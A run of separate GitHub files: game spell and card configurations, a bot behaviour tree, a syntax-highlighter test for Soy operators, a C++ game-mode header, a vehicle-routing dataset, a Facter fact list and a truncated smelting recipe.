"range" : [[""], ["TL"], ["TL", "TR"]]
}
}
}
}
},
"flags" : {
"damage": true,
"indifferent": true
},
"targetCondition" : {
"noneOf" : {
"bonus.DIRECT_DAMAGE_IMMUNITY" : "normal"
}
}
},
"earthquake" : {
"index" : 14,
"targetType" : "NO_TARGET",
"sounds": {
"cast": "ERTHQUAK"
},
"levels" : {
"base":{
"targetModifier":{"smart":true},
"battleEffects":{
"catapult":{
"type":"core:catapult",
"targetsToAttack": 2
}
},
"range" : "X"
},
"advanced":{
"battleEffects":{
"catapult":{
"targetsToAttack": 3
}
}
},
"expert":{
"battleEffects":{
"catapult":{
"targetsToAttack": 4
}
}
}
},
"flags" : {
"indifferent": true
}
},
"dispel" : {
"index" : 35,
"targetType" : "CREATURE",
"animation":{
"affect":["C05SPW"] //C05SPW0
},
"sounds": {
"cast": "DISPELL"
},
"levels" : {
"base":{
"targetModifier":{
"smart":true
},
"battleEffects":{
"dispel":{
"type":"core:dispel",
"optional":false,
"ignoreImmunity" : true,
"dispelNegative":true,
"dispelNeutral":true,
"dispelPositive":true
}
},
"range" : "0"
},
"advanced":{
"targetModifier":{"smart":false}
},
"expert":{
"targetModifier":{"smart":false},
"battleEffects":{
"dispel":{
"optional":true
},
"removeObstacle":{
"optional":true,
"type":"core:removeObstacle",
"removeAllSpells" : true
}
},
"range" : "X"
}
},
"flags" : {
"positive": true
}
},
"cure" : {
"index" : 37,
"targetType" : "CREATURE",
"animation":{
"affect":["C03SPW"]//C03SPW0
},
"sounds": {
"cast": "CURE"
},
"levels" : {
"base":{
"targetModifier":{"smart":true},
"battleEffects":{
"heal":{
"type":"core:heal",
"healLevel":"heal",
"healPower":"permanent",
"optional":true
},
"cure":{
"type":"core:dispel",
"optional":true,
"dispelNegative":true,
"dispelNeutral":false,
"dispelPositive":false
}
},
"range" : "0"
},
"expert":{
"range" : "X"
}
},
"flags" : {
"positive": true
}
},
"resurrection" : {
"index" : 38,
"targetType" : "CREATURE",
"animation":{
"affect":["C01SPE0"]
},
"sounds": {
"cast": "RESURECT"
},
"levels" : {
"base":{
"range" : "0",
"battleEffects":{
"heal":{
"type":"core:heal",
"healLevel":"resurrect",
"healPower":"oneBattle",
"minFullUnits" : 1
},
"cure":{
"type":"core:dispel",
"indirect": true,
"optional":true,
"dispelNegative":true,
"dispelNeutral":false,
"dispelPositive":false
}
},
"targetModifier":{"smart":true}
},
"advanced":{
"battleEffects":{
"heal":{
"healPower":"permanent"
}
}
},
"expert":{
"battleEffects":{
"heal":{
"healPower":"permanent"
}
}
}
},
"flags" : {
"rising": true,
"positive": true
},
"targetCondition" : {
"noneOf" : {
"bonus.NON_LIVING" : "absolute",
"bonus.SIEGE_WEAPON" : "absolute",
"bonus.UNDEAD" : "absolute",
"bonus.GARGOYLE" : "absolute"
}
}
},
"animateDead" : {
"index" : 39,
"targetType" : "CREATURE",
"animation":{
"affect":["C01SPE0"]
},
"sounds": {
"cast": "ANIMDEAD"
},
"levels" : {
"base":{
"range" : "0",
"battleEffects":{
"heal":{
"type":"core:heal",
"healLevel":"resurrect",
"healPower":"permanent",
"minFullUnits" : 1
}
},
"targetModifier":{"smart":true}
}
},
"flags" : {
"rising": true,
"positive": true
},
"targetCondition" : {
"allOf" : {
"bonus.UNDEAD" : "absolute"
}
}
},
"sacrifice" : {
"index" : 40,
"targetType" : "CREATURE",
"animation":{
"affect":["C01SPE0"]
},
"sounds": {
"cast": "SACRIF1"
},
"levels" : {
"base":{
"range" : "0",
"battleEffects":{
"sacrifice":{
"type":"core:sacrifice",
"healLevel":"resurrect",
"healPower":"permanent",
"minFullUnits" : 0
}
},
"targetModifier":{"smart":true}
}
},
"flags" : {
"rising": true,
"positive": true
},
"targetCondition" : {
"noneOf" : {
"bonus.NON_LIVING" : "absolute",
"bonus.SIEGE_WEAPON" : "absolute",
"bonus.UNDEAD" : "absolute",
"bonus.GARGOYLE" : "absolute"
}
}
},
"teleport" : {
"index" : 63,
"targetType" : "CREATURE",
"sounds": {
"cast": "TELPTOUT"
},
"levels" : {
"base":{
"range" : "0",
"battleEffects":{
"teleport":{
"type":"core:teleport"
}
},
"targetModifier":{"smart":true}
}
},
"flags" : {
"positive": true
},
"targetCondition" : {
"noneOf" : {
"bonus.SIEGE_WEAPON" : "absolute"
}
}
},
"removeObstacle" : {
"index" : 64,
"targetType" : "OBSTACLE",
"animation":{
"cast":[2]
},
"sounds": {
"cast": "REMOVEOB"
},
"levels" : {
"base":{
"range" : "0",
"battleEffects": {
"removeObstacle" : {
"optional":false,
"type":"core:removeObstacle",
"removeUsual" : true
}
}
},
"advanced" : {
"battleEffects": {
"removeObstacle" : {
"removeSpells" : ["fireWall"]
}
}
},
"expert" : {
"battleEffects": {
"removeObstacle" : {
"removeAllSpells" : true
}
}
}
},
"flags" : {
"indifferent": true
}
},
"clone" : {
"index" : 65,
"targetType" : "CREATURE",
"animation":{
"cast":[2]
},
"sounds": {
"cast": "CLONE"
},
"levels" : {
"base":{
"range" : "0",
"battleEffects":{
"clone":{
"maxTier":5,
"type":"core:clone"
}
},
"targetModifier":{"smart":true}
},
"advanced":{
"battleEffects":{
"clone":{
"maxTier":6
}
}
},
"expert":{
"battleEffects":{
"clone":{
"maxTier":1000
}
}
}
},
"flags" : {
"positive": true
},
"targetCondition" : {
"noneOf" : {
"bonus.SIEGE_WEAPON" : "absolute"
}
}
},
"fireElemental" : {
"index" : 66,
"targetType" : "NO_TARGET",
"animation":{
"cast":[2]
},
"sounds": {
"cast": "SUMNELM"
},
"levels" : {
"base":{
"range" : "X",
"battleEffects":{
"summon":{
"exclusive":true,
"id":"fireElemental",
"permanent":false,
"type":"core:summon"
}
}
}
},
"flags" : {
"indifferent": true
}
},
"earthElemental" : {
"index" : 67,
"targetType" : "NO_TARGET",
"animation":{
"cast":[2]
},
"sounds": {
"cast": "SUMNELM"
},
"levels" : {
"base":{
"range" : "X",
"battleEffects":{
"summon":{
"exclusive":true,
"id":"earthElemental",
"permanent":false,
"type":"core:summon"
}
}
}
},
"flags" : {
"indifferent": true
}
},
"waterElemental" : {
"index" : 68,
"targetType" : "NO_TARGET",
"animation":{
"cast":[2]
},
"sounds": {
"cast": "SUMNELM"
},
"levels" : {
"base":{
"range" : "X",
"battleEffects":{
"summon":{
"exclusive":true,
"id":"waterElemental",
"permanent":false,
"type":"core:summon"
}
}
}
},
"flags" : {
"indifferent": true
}
},
"airElemental" : {
"index" : 69,
"targetType" : "NO_TARGET",
"animation":{
"cast":[2]
},
"sounds": {
"cast": "SUMNELM"
},
"levels" : {
"base":{
"range" : "X",
"battleEffects":{
"summon":{
"exclusive":true,
"id":"airElemental",
"permanent":false,
"type":"core:summon"
}
}
}
},
"flags" : {
"indifferent": true
}
}
}
|
{
"pile_set_name": "Github"
}
|
<!-- kv3 encoding:text:version{e21c7f3c-8a33-41c5-9977-a76d3a32aa0d} format:generic:version{7412167c-06e9-4698-aff2-e63eb59037e7} -->
{
config = "scripts/ai/guardian/bt_config.kv3"
root =
{
type = "decorator_hiding_spot_service"
domain = "AllBots"
output_hiding_spot = "HidingSpot"
distance_threshold = 800
expiration_time = 10
child =
{
type = "decorator_token_service"
domain = "'StratTokens'"
output_token_name = "GroupId"
output_token_domain = "GroupMemberId"
config =
{
tokens =
[
"StratShort",
"StratArch",
"StratShoe"
]
assignments =
[
[ 1, 3, 1 ],
[ 2, 2, 1 ],
[ 3, 1, 1 ],
[ 2, 1, 2 ],
[ 1, 1, 3 ],
[ 1, 2, 2 ],
[ 0, 2, 3 ],
[ 0, 1, 4 ]
]
}
child =
{
type = "decorator_bot_service"
memory_to_expire =
[
{
key = "ShortTermAttackMemory"
time = 0.7
distance = 0
},
{
key = "ShortTermDamageMemory"
time = 0.7
distance = 0
},
{
key = "ShortTermAreaDamageMemory"
time = 3
distance = 0
},
{
key = "ShortTermInvestigateMemory"
time = 3
distance = 200
},
{
key = "LongTermMemory"
time = 10
distance = 500
},
{
domain = "AllBots"
key = "Threats"
time = 10
distance = 0
},
{
key = "DamageThroughSmokeMemory"
time = 3
distance = 0
}
]
tagged_entities_to_expire =
[
"EngagedEntities"
]
child =
{
type = "decorator_buy_service"
output = "ShouldBuy"
child =
{
type = "parallel"
children =
[
{
type = "decorator_repeat"
child =
{
type = "parallel"
children =
[
// memorize enemies through vision
{
type = "subtree"
file = "scripts/ai/modules/bt_memorize_enemies_vision.kv3"
name = "MemorizeEnemiesVision"
},
// memorize noises happening right now
{
type = "subtree"
file = "scripts/ai/modules/bt_memorize_noises.kv3"
name = "MemorizeNoises"
},
// record the nearest memorized event to investigate
{
type = "subtree"
file = "scripts/ai/modules/bt_memorize_nearest_investigation.kv3"
name = "MemorizeNearestInvestigation"
},
// memorize incoming grenades
{
type = "subtree"
file = "scripts/ai/modules/bt_memorize_area_damage_grenades.kv3"
name = "MemorizeAreaDamageGrenades"
},
// memorize nearby infernos
{
type = "subtree"
file = "scripts/ai/modules/bt_memorize_area_damage_infernos.kv3"
name = "MemorizeAreaDamageInfernos"
},
// memorize incoming damage
{
type = "subtree"
file = "scripts/ai/modules/bt_memorize_damage.kv3"
name = "MemorizeDamage"
},
// memorize threats
{
type = "subtree"
file = "scripts/ai/guardian/modules/bt_memorize_threats.kv3"
name = "MemorizeThreats"
},
// memorize whether we're standing on damaging area
{
type = "subtree"
file = "scripts/ai/modules/bt_memorize_area_damage_current.kv3"
name = "MemorizeAreaDamageCurrent"
}
]
}
},
{
type = "decorator_repeat"
child =
{
type = "selector"
children =
[
{
type = "condition_inactive"
input =
[
{
key = "ShortTermAttackMemory"
},
{
key = "ShortTermAreaDamageMemory"
}
]
round_start_threshold_seconds = 90
sensor_inactivity_threshold_seconds = 60
child =
{
type = "action_commit_suicide"
}
},
// Buy if we have to
{
type = "condition_is_empty"
input = "ShouldBuy"
negated = 1
child =
{
// sequencer: evaluate first to last child, in order
type = "sequencer"
children =
[
{
type = "action_wait"
wait_time_min = 3
wait_time_max = 3
},
{
type = "action_buy"
},
{
type = "decorator_remove_key"
input = "ShouldBuy"
}
]
}
},
{
type = "subtree"
file = "scripts/ai/modules/bt_attack.kv3"
name = "Attack"
},
{
type = "subtree"
file = "scripts/ai/modules/bt_face_damage_inflictor.kv3"
name = "FaceDamageInflictor"
},
{
type = "parallel"
children =
[
{
type = "subtree"
file = "scripts/ai/modules/bt_flee_area_damage_threats.kv3"
name = "FleeAreaDamageThreats"
},
{
type = "decorator_repeat"
child =
{
type = "subtree"
file = "scripts/ai/modules/bt_look_around.kv3"
name = "LookAround"
}
}
]
},
{
type = "subtree"
file = "scripts/ai/modules/bt_attack_damage_inflictor_smoke.kv3"
name = "AttackDamageInflictorSmoke"
},
{
type = "subtree"
file = "scripts/ai/guardian/modules/bt_clear_threats_within_fov.kv3"
name = "ClearThreatsWithinFov"
},
{
type = "subtree"
file = "scripts/ai/guardian/modules/bt_select_nearby_threat.kv3"
name = "SelectNearbyThreat"
},
{
type = "subtree"
file = "scripts/ai/guardian/modules/op09_grunts_card10/bt_takeover_strategy.kv3"
name = "TakeoverStrategy"
},
{
type = "subtree"
file = "scripts/ai/guardian/modules/bt_plant_bomb_if_covered.kv3"
name = "PlantIfCovered"
},
// plant bomb if we have it and haven't seen anything else
{
type = "subtree"
file = "scripts/ai/guardian/modules/bt_plant_bomb_if_owned.kv3"
name = "PlantIfOwned"
},
// go grab the bomb if there's one available
{
type = "subtree"
file = "scripts/ai/guardian/modules/bt_pickup_bomb_if_nearby.kv3"
name = "PickupBombIfNearby"
},
{
type = "subtree"
file = "scripts/ai/modules/bt_heal_if_needed.kv3"
name = "HealIfNeeded"
},
// Else: investigate the closest memorized event
{
type = "subtree"
file = "scripts/ai/modules/bt_investigate_closest_memorized_event.kv3"
name = "InvestigateClosestMemorizedEvent"
},
// Else: hunt
{
// sequencer: evaluate first to last child, in order
type = "sequencer"
children =
[
{
type = "action_equip_weapon"
weapon = "BEST"
},
{
type = "action_choose_bomb_site_area"
input = "@mp_guardian_target_site"
output = "BombSiteArea"
},
{
type = "action_choose_random_waypoint"
input = "BombSiteArea"
output = "TargetArea"
},
{
type = "action_move_to"
destination = "TargetArea"
movement_type = "BT_ACTION_MOVETO_RUN"
route_type = "BT_ACTION_MOVETO_FASTEST_ROUTE"
hiding_spot = "HidingSpot"
threat = "NearestThreatMemory"
}
]
}
]
}
}
]
}
}
}
}
}
}
|
{
"pile_set_name": "Github"
}
|
{let $foo: $a ? 0 : 1 /}
{let $foo: $a ?: 1 /}
{let $foo: 1 < 2 and 2 <= 3 /}
{let $foo: 1 > 2 or 2 >= 3 /}
{let $foo: 1 == 1 and 1 != 2 /}
{let $foo: ((1 + 2) / 3 * 4) % 5 - 6 /}
{let $foo: not $bar /}
{let $foo kind="text"}
----------------------------------------------------
[
["soy", [
["delimiter", "{"],
["keyword", "let"],
["variable", ["$foo"]],
["punctuation", ":"],
["variable", ["$a"]],
["operator", "?"],
["number", "0"],
["punctuation", ":"],
["number", "1"],
["delimiter", "/}"]
]],
["soy", [
["delimiter", "{"],
["keyword", "let"],
["variable", ["$foo"]],
["punctuation", ":"],
["variable", ["$a"]],
["operator", "?:"],
["number", "1"],
["delimiter", "/}"]
]],
["soy", [
["delimiter", "{"],
["keyword", "let"],
["variable", ["$foo"]],
["punctuation", ":"],
["number", "1"],
["operator", "<"],
["number", "2"],
["operator", "and"],
["number", "2"],
["operator", "<="],
["number", "3"],
["delimiter", "/}"]
]],
["soy", [
["delimiter", "{"],
["keyword", "let"],
["variable", ["$foo"]],
["punctuation", ":"],
["number", "1"],
["operator", ">"],
["number", "2"],
["operator", "or"],
["number", "2"],
["operator", ">="],
["number", "3"],
["delimiter", "/}"]
]],
["soy", [
["delimiter", "{"],
["keyword", "let"],
["variable", ["$foo"]],
["punctuation", ":"],
["number", "1"],
["operator", "=="],
["number", "1"],
["operator", "and"],
["number", "1"],
["operator", "!="],
["number", "2"],
["delimiter", "/}"]
]],
["soy", [
["delimiter", "{"],
["keyword", "let"],
["variable", ["$foo"]],
["punctuation", ":"],
["punctuation", "("],
["punctuation", "("],
["number", "1"],
["operator", "+"],
["number", "2"],
["punctuation", ")"],
["operator", "/"],
["number", "3"],
["operator", "*"],
["number", "4"],
["punctuation", ")"],
["operator", "%"],
["number", "5"],
["operator", "-"],
["number", "6"],
["delimiter", "/}"]
]],
["soy", [
["delimiter", "{"],
["keyword", "let"],
["variable", ["$foo"]],
["punctuation", ":"],
["operator", "not"],
["variable", ["$bar"]],
["delimiter", "/}"]
]],
["soy", [
["delimiter", "{"],
["keyword", "let"],
["variable", ["$foo"]],
["property", "kind"],
["operator", "="],
["string", "\"text\""],
["delimiter", "}"]
]]
]
----------------------------------------------------
Checks for operators.
|
{
"pile_set_name": "Github"
}
|
{
"name": "Kun the Forgotten King",
"baseManaCost": 10,
"type": "MINION",
"baseAttack": 7,
"baseHp": 7,
"heroClass": "DRUID",
"rarity": "LEGENDARY",
"description": "Choose One - Gain 10 Armor; or Refresh your Mana Crystals.",
"options": [
{
"description": "Gain 10 Armor",
"spell": {
"class": "BuffHeroSpell",
"target": "FRIENDLY_HERO",
"armorBonus": 10
}
},
{
"description": "Refresh Mana",
"spell": {
"class": "GainManaSpell",
"value": {
"class": "AlgebraicValueProvider",
"operation": "SUBTRACT",
"value1": {
"class": "PlayerAttributeValueProvider",
"playerAttribute": "MAX_MANA"
},
"value2": {
"class": "PlayerAttributeValueProvider",
"playerAttribute": "MANA"
}
}
}
}
],
"bothOptions": {
"description": "10 Armor and Refresh",
"spell": {
"class": "MetaSpell",
"spells": [
{
"class": "BuffHeroSpell",
"target": "FRIENDLY_HERO",
"armorBonus": 10
},
{
"class": "GainManaSpell",
"value": {
"class": "AlgebraicValueProvider",
"operation": "SUBTRACT",
"value1": {
"class": "PlayerAttributeValueProvider",
"playerAttribute": "MAX_MANA"
},
"value2": {
"class": "PlayerAttributeValueProvider",
"playerAttribute": "MANA"
}
}
}
]
}
},
"collectible": true,
"set": "MEAN_STREETS_OF_GADGETZAN",
"fileFormatVersion": 1
}
|
{
"pile_set_name": "Github"
}
|
#pragma once
#include "game_cl_teamdeathmatch.h"
class CUIGameAHunt;
class game_cl_ArtefactHunt :public game_cl_TeamDeathmatch
{
friend class CUIMessagesWindow;
CUIGameAHunt* m_game_ui;
shared_str m_Eff_Af_Spawn;
shared_str m_Eff_Af_Disappear;
typedef game_cl_TeamDeathmatch inherited;
protected:
// ref_sound pMessageSounds[8];
protected:
virtual const shared_str GetBaseCostSect () {return "artefacthunt_base_cost";}
virtual void TranslateGameMessage (u32 msg, NET_Packet& P);
virtual void shedule_Update (u32 dt);
virtual BOOL CanCallBuyMenu ();
virtual bool CanBeReady ();
// virtual void OnObjectEnterTeamBase (u16 player_id, u8 zone_team_id);
// virtual void OnObjectLeaveTeamBase (u16 player_id, u8 zone_team_id);
virtual void UpdateMapLocations ();
virtual bool NeedToSendReady_Spectator (int key, game_PlayerState* ps);
virtual void LoadSndMessages ();
virtual void OnBuySpawnMenu_Ok ();
public:
u8 artefactsNum;//ah
u16 artefactBearerID;//ah,ZoneMap
u16 old_artefactBearerID;
u8 teamInPossession;//ah,ZoneMap
u8 old_teamInPossession;
u16 artefactID;
u16 old_artefactID;
s32 iReinforcementTime;
s32 dReinforcementTime;
int m_iSpawn_Cost;
public :
game_cl_ArtefactHunt ();
virtual ~game_cl_ArtefactHunt ();
virtual void Init ();
virtual CUIGameCustom* createGameUI ();
virtual void net_import_state (NET_Packet& P);
virtual void GetMapEntities(xr_vector<SZoneMapEntityData>& dst);
virtual char* getTeamSection (int Team);
virtual bool PlayerCanSprint (CActor* pActor);
virtual void SetScore ();
virtual void OnSellItemsFromRuck ();
virtual void OnSpawn (CObject* pObj);
virtual void OnDestroy (CObject* pObj);
virtual void SendPickUpEvent (u16 ID_who, u16 ID_what);
};
|
{
"pile_set_name": "Github"
}
|
4 3 100 1
0 700
0 40 50 0 0 0 0 0 3390
1 52 75 90 10 1 1 3 3 721 1095 2049 2465 3335
2 45 70 90 30 1 1 3 14 739 1111 1896 2255 3451
3 62 69 90 10 1 1 3 0 757 1080 2119 2440 3378
4 60 66 90 10 1 1 3 2 800 1190 2284 2663 3537
5 42 65 90 10 1 1 3 10 826 1131 2100 2682 3692
6 16 42 90 20 1 1 4 2 1199 1556 2433 2067 2927 2821 3706
7 58 70 90 20 1 1 3 0 936 1289 2145 2484 3346
8 34 60 90 20 1 1 3 11 974 1320 2101 2438 3162
9 28 70 90 10 1 1 2 11 1096 1425 2306
10 35 66 90 10 1 1 3 1 943 1330 2094 2410 3246
11 35 69 90 10 1 1 3 1 872 1239 2073 2393 3340
12 25 85 90 20 1 1 3 15 1214 1565 2706 3074 4017
13 22 75 90 30 1 1 2 1 890 1226 2262
14 22 85 90 10 1 1 3 7 1000 1330 2304 2672 3376
15 20 80 90 40 1 1 3 2 1075 1432 2180 2535 3377
16 20 85 90 40 1 1 5 7 846 429 1307 1223 1969 2270 3044 3364 4188
17 18 75 90 20 1 1 3 9 1083 767 1539 1437 2504
18 15 75 90 20 1 1 3 17 939 608 1512 1260 2192
19 15 80 90 10 1 1 4 13 796 581 1349 1133 1931 2291 3192
20 30 50 90 10 1 1 3 17 805 1192 1940 2298 3282
21 30 56 90 20 1 1 3 0 474 16 780 1099 1993
22 28 52 90 20 1 1 3 14 1071 1374 2082 2466 3283
23 14 66 90 10 1 1 4 12 1041 763 1939 1397 2274 2596 3507
24 25 50 90 10 1 1 3 11 1169 1485 2251 2611 3601
25 22 66 90 40 1 1 4 12 972 744 1762 1304 2296 2659 3585
26 8 62 90 10 1 1 3 5 752 1082 2170 2502 3524
27 23 52 90 10 1 1 3 1 1079 1472 2217 2232 3338
28 4 55 90 20 1 1 3 19 1090 1431 2303 2682 3414
29 20 50 90 10 1 1 4 12 1161 1525 2591 2134 3058 2936 3835
30 20 55 90 10 1 1 3 0 733 1047 1816 2175 3207
31 10 35 90 20 1 1 4 4 725 1067 2188 1651 2775 2506 3260
32 10 40 90 30 1 1 3 11 1210 1589 2748 3054 4031
33 8 40 90 40 1 1 3 15 1151 1497 2424 2740 3545
34 8 45 90 20 1 1 3 11 752 1061 2141 2524 3349
35 5 35 90 10 1 1 4 4 871 1233 2073 1722 2514 2435 3403
36 5 45 90 10 1 1 3 18 908 1259 1979 2375 3571
37 2 40 90 20 1 1 3 14 799 1131 2285 2646 3423
38 0 40 90 30 1 1 2 0 949 1281 2047
39 0 45 90 20 1 1 3 8 1013 1321 2414 2760 3525
40 36 18 90 10 1 1 4 12 979 634 1460 1315 2141 2442 3363
41 35 32 90 10 1 1 3 2 738 225 1295 1079 1845
42 33 32 90 20 1 1 2 14 969 1309 2376
43 33 35 90 10 1 1 3 14 1096 1434 2557 2899 4026
44 32 20 90 10 1 1 3 11 790 409 1497 1154 2322
45 30 30 90 10 1 1 2 1 848 1216 2186
46 34 25 90 30 1 1 2 7 1086 1465 2471
47 30 35 90 10 1 1 3 18 768 1106 2271 2656 3545
48 36 40 90 10 1 1 3 7 1148 1543 2540 2859 3579
49 48 20 90 10 1 1 3 3 926 1283 2084 2405 3244
50 26 32 90 10 1 1 2 15 730 1065 1993
51 25 30 90 10 1 1 2 12 1155 1525 2227
52 25 35 90 10 1 1 3 0 894 1230 1998 2304 3318
53 44 5 90 20 1 1 3 3 1093 1393 2119 2511 3500
54 42 10 90 40 1 1 2 8 906 1286 2433
55 42 15 90 10 1 1 3 3 1019 1370 2323 2628 3510
56 40 5 90 30 1 1 3 14 1184 1071 1961 1556 2330
57 38 15 90 40 1 1 3 3 811 765 1517 1198 2181
58 38 5 90 30 1 1 3 2 831 1199 2256 2578 3350
59 38 10 90 10 1 1 4 11 1075 776 1696 1437 2156 2473 3441
60 35 5 90 20 1 1 4 6 1198 830 1832 1583 2314 2621 3376
61 50 30 90 10 1 1 3 15 870 1211 2325 1951 2979
62 50 35 90 20 1 1 3 4 1107 1419 2199 2306 3186
63 50 40 90 50 1 1 3 10 808 1183 2045 2366 3537
64 48 30 90 10 1 1 3 8 881 1218 1951 1859 2887
65 44 25 90 10 1 1 3 0 1195 1584 2465 2810 3782
66 47 35 90 10 1 1 4 1 1016 1331 2096 1911 2645 2463 3623
67 47 40 90 10 1 1 3 18 770 1164 2352 2672 3469
68 42 30 90 10 1 1 3 0 910 1285 2437 2796 3770
69 45 35 90 10 1 1 2 18 1015 1349 2318
70 95 30 90 30 1 1 2 7 1202 1529 2720
71 95 35 90 20 1 1 3 11 1184 1526 2273 2592 3767
72 53 30 90 10 1 1 2 19 1117 1502 2660
73 92 30 90 10 1 1 3 9 966 1312 2410 2721 3559
74 53 35 90 50 1 1 3 17 875 1272 2073 2154 3152
75 45 65 90 20 1 1 3 0 789 1093 1802 2597 3591
76 90 35 90 10 1 1 2 5 1157 1472 2204
77 72 45 90 10 1 1 3 6 1146 1487 2279 2645 3676
78 78 40 90 20 1 1 2 16 1194 1516 2555
79 87 30 90 10 1 1 3 16 1151 1507 2342 2697 3720
80 85 25 90 10 1 1 3 18 765 1069 2038 2410 3593
81 85 35 90 30 1 1 3 4 1159 1466 2211 2557 3698
82 75 55 90 20 1 1 4 3 1124 743 1643 1470 2274 2662 3770
83 72 55 90 10 1 1 4 3 1029 724 1848 1337 2128 2486 3267
84 70 58 90 20 1 1 4 14 1197 964 1794 1566 2348 2721 3435
85 86 46 90 30 1 1 4 2 791 590 1588 1105 1950 2277 3438
86 66 55 90 10 1 1 3 0 796 1118 2237 2560 3673
87 64 46 90 20 1 1 2 19 933 1242 2051
88 65 60 90 30 1 1 3 13 727 1064 1873 2232 3074
89 56 64 90 10 1 1 3 7 1019 1331 2264 2570 3762
90 60 55 90 10 1 1 3 5 842 1229 2389 2771 3638
91 60 60 90 10 1 1 2 12 1065 1403 2254
92 67 85 90 20 1 1 3 2 948 1327 2447 2086 2948
93 42 58 90 40 1 1 3 6 716 1084 1816 2821 3747
94 65 82 90 10 1 1 3 2 1073 1464 2405 1941 2907
95 62 80 90 30 1 1 4 5 854 1249 2092 1907 2753 2478 3566
96 62 40 90 10 1 1 3 16 791 1155 1938 2292 3206
97 60 85 90 30 1 1 4 14 1199 1540 2414 2137 3091 2729 3488
98 58 75 90 20 1 1 4 2 720 1021 2014 1703 2765 2331 3446
99 55 80 90 10 1 1 3 10 1202 1533 2418 2229 3379
100 55 85 90 20 1 1 3 13 805 1139 1998 2354 3064
|
{
"pile_set_name": "Github"
}
|
{
"EC2": [
"ec2_metadata",
"ec2_userdata"
],
"GCE": [
"gce"
],
"augeas": [
"augeas",
"augeasversion"
],
"desktop management interface": [
"dmi",
"bios_vendor",
"bios_version",
"bios_release_date",
"boardassettag",
"boardmanufacturer",
"boardproductname",
"boardserialnumber",
"chassisassettag",
"manufacturer",
"productname",
"serialnumber",
"uuid",
"chassistype"
],
"file system": [
"mountpoints",
"filesystems",
"partitions"
],
"hypervisors": [
"hypervisors"
],
"id": [
"id",
"gid",
"identity"
],
"kernel": [
"kernel",
"kernelversion",
"kernelrelease",
"kernelmajversion"
],
"load_average": [
"load_averages"
],
"memory": [
"memory",
"memoryfree",
"memoryfree_mb",
"memorysize",
"memorysize_mb",
"swapfree",
"swapfree_mb",
"swapsize",
"swapsize_mb",
"swapencrypted"
],
"networking": [
"networking",
"hostname",
"ipaddress",
"ipaddress6",
"netmask",
"netmask6",
"network",
"network6",
"macaddress",
"interfaces",
"domain",
"fqdn",
"dhcp_servers"
],
"operating system": [
"os",
"operatingsystem",
"osfamily",
"operatingsystemrelease",
"operatingsystemmajrelease",
"hardwaremodel",
"architecture",
"lsbdistid",
"lsbdistrelease",
"lsbdistcodename",
"lsbdistdescription",
"lsbmajdistrelease",
"lsbminordistrelease",
"lsbrelease",
"macosx_buildversion",
"macosx_productname",
"macosx_productversion",
"macosx_productversion_major",
"macosx_productversion_minor",
"windows_edition_id",
"windows_installation_type",
"windows_product_name",
"windows_release_id",
"system32",
"selinux",
"selinux_enforced",
"selinux_policyversion",
"selinux_current_mode",
"selinux_config_mode",
"selinux_config_policy"
],
"path": [
"path"
],
"processor": [
"processors",
"processorcount",
"physicalprocessorcount",
"hardwareisa"
],
"ssh": [
"ssh",
"sshdsakey",
"sshrsakey",
"sshecdsakey",
"sshed25519key",
"sshfp_dsa",
"sshfp_rsa",
"sshfp_ecdsa",
"sshfp_ed25519"
],
"system profiler": [
"system_profiler",
"sp_boot_mode",
"sp_boot_rom_version",
"sp_boot_volume",
"sp_cpu_type",
"sp_current_processor_speed",
"sp_kernel_version",
"sp_l2_cache_core",
"sp_l3_cache",
"sp_local_host_name",
"sp_machine_model",
"sp_machine_name",
"sp_number_processors",
"sp_os_version",
"sp_packages",
"sp_physical_memory",
"sp_platform_uuid",
"sp_secure_vm",
"sp_serial_number",
"sp_smc_version_system",
"sp_uptime",
"sp_user_name"
],
"timezone": [
"timezone"
],
"uptime": [
"system_uptime",
"uptime",
"uptime_days",
"uptime_hours",
"uptime_seconds"
],
"virtualization": [
"virtual",
"is_virtual",
"cloud"
],
"legacy": [
"architecture",
"augeasversion",
"bios_release_date",
"bios_vendor",
"bios_version",
"blockdevice_*_model",
"blockdevice_*_size",
"blockdevice_*_vendor",
"blockdevices",
"boardassettag",
"boardmanufacturer",
"boardproductname",
"boardserialnumber",
"chassisassettag",
"chassistype",
"dhcp_servers",
"domain",
"fqdn",
"gid",
"hardwareisa",
"hardwaremodel",
"hostname",
"id",
"interfaces",
"ipaddress",
"ipaddress_.*",
"ipaddress_*",
"ipaddress6",
"ipaddress6_.*",
"ipaddress6_*",
"ldom_*",
"lsbdistcodename",
"lsbdistdescription",
"lsbdistid",
"lsbdistrelease",
"lsbmajdistrelease",
"lsbminordistrelease",
"lsbrelease",
"macaddress",
"macaddress_.*",
"macaddress_*",
"macosx_buildversion",
"macosx_productname",
"macosx_productversion",
"macosx_productversion_major",
"macosx_productversion_minor",
"manufacturer",
"memoryfree",
"memoryfree_mb",
"memorysize",
"memorysize_mb",
"mtu_.*",
"mtu_*",
"netmask",
"netmask_.*",
"netmask_*",
"netmask6",
"netmask6_.*",
"netmask6_*",
"network",
"network_.*",
"network_*",
"network6",
"network6_.*",
"network6_*",
"operatingsystem",
"operatingsystemmajrelease",
"operatingsystemrelease",
"osfamily",
"physicalprocessorcount",
"processor.*",
"processor*",
"processorcount",
"productname",
"rubyplatform",
"rubysitedir",
"rubyversion",
"scope6",
"scope6_.*",
"selinux",
"selinux_config_mode",
"selinux_config_policy",
"selinux_current_mode",
"selinux_enforced",
"selinux_policyversion",
"serialnumber",
"sp_*",
"sp_boot_mode",
"sp_boot_rom_version",
"sp_boot_volume",
"sp_cpu_type",
"sp_current_processor_speed",
"sp_kernel_version",
"sp_l2_cache_core",
"sp_l3_cache",
"sp_local_host_name",
"sp_machine_model",
"sp_machine_name",
"sp_number_processors",
"sp_os_version",
"sp_packages",
"sp_physical_memory",
"sp_platform_uuid",
"sp_secure_vm",
"sp_serial_number",
"sp_smc_version_system",
"sp_uptime",
"sp_user_name",
"ssh.*key",
"ssh*key",
"sshfp_.*",
"sshfp_*",
"swapencrypted",
"swapfree",
"swapfree_mb",
"swapsize",
"swapsize_mb",
"system32",
"uptime",
"uptime_days",
"uptime_hours",
"uptime_seconds",
"uuid",
"windows_edition_id",
"windows_installation_type",
"windows_product_name",
"windows_release_id",
"xendomains",
"zone_*_brand",
"zone_*_id",
"zone_*_iptype",
"zone_*_name",
"zone_*_path",
"zone_*_status",
"zone_*_uuid",
"zonename",
"zones"
]
}
|
{
"pile_set_name": "Github"
}
|
{
"smelter": [
{
"input": {
"ore": "dustIron",
"count": 1
},
"input2": {
"ore": "dustCoal",
"count": 4
},
"output": {
"ore": "ingotSteel",
"count": 1
},
"energy": 4000
},
{
"input": {
